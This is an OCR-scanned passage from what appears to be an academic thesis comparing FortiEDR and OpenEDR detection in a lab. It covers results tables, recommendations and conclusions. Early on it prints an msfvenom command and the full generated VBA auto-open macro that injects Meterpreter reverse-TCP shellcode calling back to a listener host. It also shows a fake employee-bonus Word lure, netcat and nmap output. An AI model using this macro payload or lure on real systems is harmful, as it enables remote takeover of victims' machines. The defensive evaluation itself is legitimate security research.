We have set a reverse TCP listener on our Kali Linux:

192.168.1.145:445

Sending stage
3.1.141 - Meterp

Reverse tcp on Kali Linux

We can see that many attempts were created but all of them were blocked. This means that
while the listener is initiated in the beginning, it is blocked immediately, and the file is blocked so
the listener is unstable. The first time it was blocked by Windows Defender and afterwards we
disabled it. We have not seen any alerts on FortiEDR platform but it was blocked.
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OpenEDR

We created another payload for OpenEDR (with different LHOST IP and port) by running:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=80 -f vba

#If Vba7 Then

Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Ntow As Long,
ByVal Fpoiony As Long, ByVal Igklkyggx As LongPtr, Nkepvgt As Long, ByVal Jdrr As Long,
Ipw As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Gyvog As Long,
ByVal Hrx As Long, ByVal Xpfo As Long, ByVal Zcei As Long) As LongPtr

Private Declare PtrSafe Function RtiMoveMemory Lib "kernel32" (ByVal Vdx As LongPtr,
ByRef Myqgetvr As Any, ByVal Hwgaqnll As Long) As LongPtr
#Else

Private Declare Function CreateThread Lib "kernel32" (ByVal Ntow As Long, ByVal
Fpoiony As Long, ByVal Igklkyggx As Long, Nkepvgt As Long, ByVal Jdrr As Long, Ipw As
Long) As Long

Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Gyvog As Long, ByVal Hrx
As Long, ByVal Xpfo As Long, ByVal Zcei As Long) As Long

Private Declare Function RtIMoveMemory Lib "kernel32" (ByVal Vdx As Long, ByRef
Myqetvr As Any, ByVal Hwgaqnll As Long) As Long
#EndIf

Sub Auto_Open()

Dim Hxzyus As Long, Njfgsj As Variant, Vyn As Long
#If Vba7 Then

Dim Xcv As LongPtr, Falch As LongPtr
#Else

Dim Xcv As Long, Falch As Long
#EndIf

Njfgsj =
Array(252,232,143,0,0,0,96,49,210,100,139,82,48,137,229,139,82,12,139,82,20,15,183,74,3
8,49,255,139,114,40,49,192,172,60,97,124,2,44,32,193,207,13,1,199,73,117,239,82,139,82,
16,139,66,60,1,208,139,64,120,87,133,192,116,76,1,208,139,88,32,1,211,80,139,72,24,133,
201,116,60,73,139, _
52,139,49,255,1,214,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125,36,117,
224,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36,91,91,
97,89,90,81,255,224,88,95,90,139,18,233,128,255,255,255,93,104,51,50,0,0,104,119,115,50
95,84, _
104,76,119,38,7,137,232,255,208,184,144,1,0,0,41,196,84,80,104,41,128,107,0,255,213,106
,10,104,192,168,1,19,104,2,0,0,80,137,230,80,80,80,80,64,80,64,80,104,234,15,223,224,255
,213,151,106,16,86,87,104,153,165,116,97,255,213,133,192,116,10,255,78,8,117,236,232,10
3,0,0,0, _
106,0,106,4,86,87,104,2,217,200,95,255,213,131,248,0,126,54,139,54,106,64,104,0,16,0,0,8
6,106,0,104,88,164,83,229,255,213,147,83,106,0,86,83,87,104,2,217,200,95,255,213,131,24
8,0,125,40,88,104,0,64,0,0,106,0,80,104,11,47,15,48,255,213,87,104,117,110,77,97,255,213,

94,94,255 12,36,15,133,112,255,255,255,233,155,255,255,255,1,195,41,198,117,193,195,18
7,240,181,162,86,106,0,83,255,213)

Xcv = VirtualAlloc(0, UBound(Njfgsj), &H1000, &H40)
For Vyn = LBound(Njfgsj) To UBound(Njfgsj)
Hxzyus = Njfgsj(Vyn)
Falch = RtiMoveMemory(Xcv + Vyn, Hxzyus, 1)
Next Vyn
Falch = CreateThread(0, 0, Xcv, 0, 0, 0)
End Sub
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Sub AutoOpen()
Auto_Open

End Sub

Sub Workbook_Open()
Auto_Open

End Sub

Payload Generated

| created the Macro- enabled document and | tried to open it:
We can see Microsoft Word Security Notice for the macros.

Dear Employees, Microsoft Word Security Motice ? X

@ Microsoft Office has identified a potential security concern.

| am writing to inform yg eligible employees

for their hard work and Relicondhace : onus amount will be

credited to your account Macros in this document have been identified by your virus scanner as
malicious.

Office will now close to protect your data.

To access the detailed in h - to open the

i . This message will auto-dismiss shortly. o
attached file. The file co unt and the criteria
used for calculation. We| More information free to reach out to

us if you have any quest|

We appreciate your continued efforts towards achieving our business goals, especially during these

rhallensine times We halieve that vanr hard wark and dediratinn have rantribited sisnificantlv tn the

Microsoft Word Security Notice

We can see the netcat listener:

o

[any] 8@

listening on [any] 8@
connmect to [192.168.1.19] from (UNKNOWN) [192.16!

netcat listener in Kali

No alerts were generated in OpenEDR but the connection was terminated and the file was
quarantined by the Antivirus.
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Network Mapper

Nmap (Network Mapper) is a free and open-source utility used for network exploration,
management, and security auditing. It can be used to discover hosts and services on a
computer network, identify operating systems and software versions, and detect vulnerabilities
and potential security threats. Nmap supports a range of scanning techniques, including ping
scanning, TCP SYN scanning, UDP scanning, and OS detection. It is widely used by network
administrators, security professionals, and penetration testers to assess the overall security of a
system or network.[16]

NMAP on the server (enumeration on DC):

name state info

domain open imp
M

erver time: 2i 3-05 19:04:25Z

ory LDAP Domain: diplomatiki.papei® Site: Default-First-Site-Name

: Default-First-Site-Name

NMAP on the server

We do not have an agent, so it is normal that we don’t see any alerts.
Nmap on the system with FortiEDR:

map.org ) at 85 14:18 EST

Nmap:
IETE
IETE

nmap on FortiEDR

No events were created from the scan.

Nmap on the system with OPENEDR:

@5 14:@07 EST

1 E} in ignored states.

d tcp ports (no-

nmap on OpenEDR

No events were created from the scan.
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Performance Evaluation - Analysis Results

In this section we will analyze the results of our tests. The analysis result of the detection
coverage based on our test is shown in the figures below:

FortiEDR OpenEDR
Reverse HTTPS Metasploit Blocked Blocked
HTA File Attack Blocked Exploited
Encoded executable shell Blocked Blocked
Reverse shell Blocked Exploited
Powershell command 2 Blocked Blocked
1Obfuscated powershell reverse shell Blocked No alerts, Exploited
2Obfuscated powershell reverse shell | Blocked No alerts, Exploited
Download Script from URL and Blocked Blocked
Execute with Invoke Expression
.cpl file attack Blocked Blocked
Execution with Invoke Expression Blocked Blocked

Testing of network ports

No alerts, Exploited

No alerts, Exploited

DLL Hijacking

No alerts,Blocked

No alerts,Blocked

Execute obfuscated Powershell
command. (Cynet Tool, harmless)

No alerts, Exploited

No alerts, Exploited

(Cynet Tool)(harmless)

Running Malicious PowerShell Script | Blocked Alert, Exploited
(Cynet Tool)

Execute code hidden in Registry Blocked Blocked
(Cynet Tool)

Malicious Process Command (Cynet | Blocked Blocked

Tool)

Create Malicious Task Scheduler No alerts, Exploited Blocked

Create File on Startup Folder (Cynet
Tool) (harmless)

No alerts, Exploited

No alerts, Exploited
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Host Enumeration (Cynet Tool) Blocked Blocked

Threat Intelligence Detection (Cynet Blocked Blocked

Tool)

Word Document with Macros No alerts, Blocked No alerts, Blocked
Nmap No alerts, Exploited No alerts, Exploited
Attacks blocked: 17/22 13/22

Analysis Result Table

In the following graph we can see the differences in performance of the two EDR systems:

B Attacks exploited: [l Attacks blocked:
25

20

FortiEDR OpenEDR

Differences in performance

It is clear that FortiEDR performed better on our test, and this comes at no surprise as it
has a big development team behind it and more security policies installed by default. It is
important to mention though, that OpenEDR also performed above standard taking into
consideration that it is a publicly available tool, free to use.
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FortiEDR failed to detect the Obfuscated Powershell attacks, but it is important to note
that the payload was harmless and the purpose of the test was to evaluate the behavior
detection capability. It also failed to detect nmap reconnaissance attacks which is not in the
scope of an EDR solution, but it shows that in order to catch all suspicious activity we should
execute a defense in depth strategy.

FortiEDR

Attacks exploited:
22,7%

Attacks blocked:
77,3%

FortiEDR evaluation
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OpenEDR did better on the Persistence attacks, but failed to the same attacks FortiEDR failed
(Obfuscated Powershell, Nmap) but also on HTA File Attack, Reverse shell and Malicious
PowerShell Script. It is important to note, that on some attacks | did not have any telemetry at
all, and this is really important as on occasions where there were alerts generated, | could
create a rule that would block thit. Although on the attacks that OpenEDR could not detect, it
would be impossible to defend from it.

OpenEDR

Attacks exploited:
40,9%

Attacks blocked:
59,1%

Performance evaluation of OpenEDR

In the open-source EDR environment of OpenEDR the ratio of successful attacks is
40,9% whereas on the Paid solution FortiEDR the successful rate is 22.7%

One reason for the low detection coverage of both EDR solutions is the lack of custom
query statements and policies for different attack senarios. This could improve coverage and
performance through custom query statements specific for the organization rather than generic

ones.

Comparison with relative work

In this chapter we will create a comparison of our findings with an already published paper by
George Karantzas and Constantinos Patsakis, title An Empirical Assessment of Endpoint
Security Systems Against Advanced Persistent Threats Attack Vectors [21]

On the specific paper, many EDRs were analyzed against four Attack Vectors, a .cpl
file, a HTA file, a PE executable and a DLL injection in Microsoft Teams. The EDR analyzed in
this paper are included in Mr Karatzas and Mr Patsakis paper, and as a result we can compare
the results.

Assessing Open and Closed EDRs 89



MeTtatrTuyiokn AloTpifn

ewpylog MavayiwTakdTouAog

This paper An Empirical Assessment of Endpoint
Security Systems Against Advanced
Persistent Threats Attack Vectors
Attack HTA file | DLL .cplfile | PE .exe | HTAfile | DLL .cplfile | PE
Vectors: injection injection .exe
OpenEDR | Exploited | Blocked Blocked | Blocked | Exploited | Exploited | Blocked | Blocked
FortiEDR | Blocked Blocked Blocked | Blocked | Blocked Blocked Blocked | Blocked

Comparison Table

Comparing these results, we can see many similarities between the two papers. This
validates our test procedures, and shows that the results are justifiable. On the only part that we
can find differences is on the DLL injection of OpenEDR solution. This could come from multiple
factors; either it is because they patched the vulnerability and enhanced their detection or the
root is that the attack vector was different on this paper. The attack on the paper by Mr.
Karantzas and Dr. Patsakis is more advanced than the one we used here. The two papers used
different research methodologies that may have contributed for these differences in results. The
variations in the testing environment could also be a factor for this, as well as differences in the
system configurations.

Recommendations for improving EDR detection

Based on the lower performance observed in the OpenEDR solution described in this paper, |
believe it is appropriate to provide some suggestions that should be applied in order for the
discovery to be enhanced.

Firstly, Xticium should improve the signature database it is using to detect threats, in
order to be updated with new signatures of the latest attack vectors and vulnerabilities.
Secondly they should enhance the behavior analysis detection tool, that monitors the
applications and processes for the purpose of identifying suspicious activities. Incorporating
threat intelligence feeds that offer up-to date intelligence, should also be improved, regarding
new emerging threats. Monitoring for suspicious activities can also be improved by
implementing sandboxing, which OpenEDR already includes but we found it insufficient on our
tests. Additionally, | believe that they should implement more advanced machine learning
algorithms that have the ability to analyze data and identify patterns that are not detected by
the current methods.

It is also worth mentioning that OpenEDR was not able to obfuscate Powershell
commands correctly before executing them and is considered a vital module that needs
adjustment. This resulted in malicious code to be run in the system and can be proved
dangerous for production enviroments. Last but not least, startup folders are not being
sufficiently tracked, and as a result | managed to create files in them without it, alerting me. To
deal with this, OpenEDR should be modified to monitor every creation of these startup files
using system monitoring tools or system call interception techniques, and analyze them against
a signature based list or based on their payloads.
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Derived from the attacks that were successfully exploited in both solutions, there is
room for improvement for both systems.To my way of thinking the network detection capabilities
of both EDRs proved to be inadequate, as neither of the two managed to detect scanning
activity against their hosts. By further implementing network-based detection, both tools could
detect threats that are targeted from outside the system. Founded on the fact that both
platforms failed to delete the enabled Macro Document, | am of the opinion that the macro
analysis engine of both tools must be improved. The analysis engine should be fine tunned so
as it has the capability to detect and analyze macros that might contain malicious code or
payloads that try to exploit vulnerabilities in the system.

Discussion and Future Work

In this chapter we will discuss our findings after our tests and shared some key points we
experienced.

It is important to note that the graphical User interface of OpenEDR was not optimized,
as it is not clear by seeing the alert if the action was blocked or not. On FortiEDR platform there
is big red sign that shows if the action was terminated, and there is also a big label on the
process window. A cleaner and easier way to add processes to the blocking category would
help more beginner cyber security analysts on their everyday job. Apart from that | believe that
the default policies needs tuning as | found them not enough in many cases.

Notwithstanding,OpenEDR has many benefits, for example it is practical and valuable
for managing the large amount of devices that exist in a corporate environment, and having the
source code available and easily modified results in the capability to add more features and
improvements This gives a big advantage over the standard pre-built FortiEDR solution in terms
of efficiency, scalability and cost as it only needs a capable team of developers.

Both of the EDRs need better networking hooking techniques in order to be able to
apprehend network activity on the network, or at least, the times their hosts are scanned by
applications like nmap. Process hooking should also be improved as on our test we were able to
run many powershell commands without them raising any alerts.

Tasks that are available for further research are:
e Testing more EDRs both paid and open source
e Testing these EDRs with more attacks/malware ( slingshot C2, rootkits, dll attacks) or
with frameworks like Red Canary's Atomic Red Team
Database creation with comparison of all EDRs so organizations can compare easily.
Assess false positives, false negatives, and true positives/negatives

Conclusion

In this paper, the detection capability of FortiEDR and OpenEDR solutions was
evaluated, using a series of attacks covering ATT&CK mitre framework. We reach to our
conclusion based on their behavior on these tests. Although both of the tools reacted efficiently,
FortiEDR outperformed openEDR in detecting malware in the simulated environment. We
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should mention that we reach to the concerningly conclusion that EDR by itself is not capable of
preventing attackers from infiltrating on to the system. To be more precise, both systems turned
out to be vulnerable to obfuscated powershell commands, persistence, documents with Macros
and network scans. This result shows that there are still loopholes for an attacker to exploit and
break in to the network.

The performance would be better if we combine the EDR solution with more effective
tools, like Antivirus, SIEM, Firewalls, and Network Detection and response systems. With the
combination of these tools, and with the help of Threat Intelligence from sources like MISP we
could further enhance our detection to a adequate level. As mentioned in Chapter 7, in order to
increase the detection capability of these tools, it is vital to create custom policies and rulesets
tailored to the required environment and conditions. There is work to do on the discovery of
attacks, and categorization especially those based on low-level and high-importance ones. Last
but not least it is vital for organization to train their employees and create cyber security
awarenes, and minimize the risk of falling into a social engineering attack or a phishing trap.

Taking into consideration that the number of computers, cloud and loT devices usage
has seen a significant surge, as the digital transformation advances and threat actors find new
ways of exploitation,it makes the use of endpoint solution vital. OpenEDR is a cost effective
security tool, flexible, scalable, with no vendor lock-in and no licesnse costs, and can definitely
be used in organizations as security tools where budget is limited. This measure comes with
some concessions though. In the duration of the tests, we noticed a lower detection rate to
some attacks, due to insufficient rulesets and wrongly configured playbooks. This is to be
expected as this tool does not have the support FortiEDR has and it is crucial that OpenEDR
must evolve to meet these needs.This open source tool should be combined with other effective
open-source tools to increase the performance.

As a future work, for other researchers different open source solutions can be
compared for their performance and detection using the attacks or payloads of this study.
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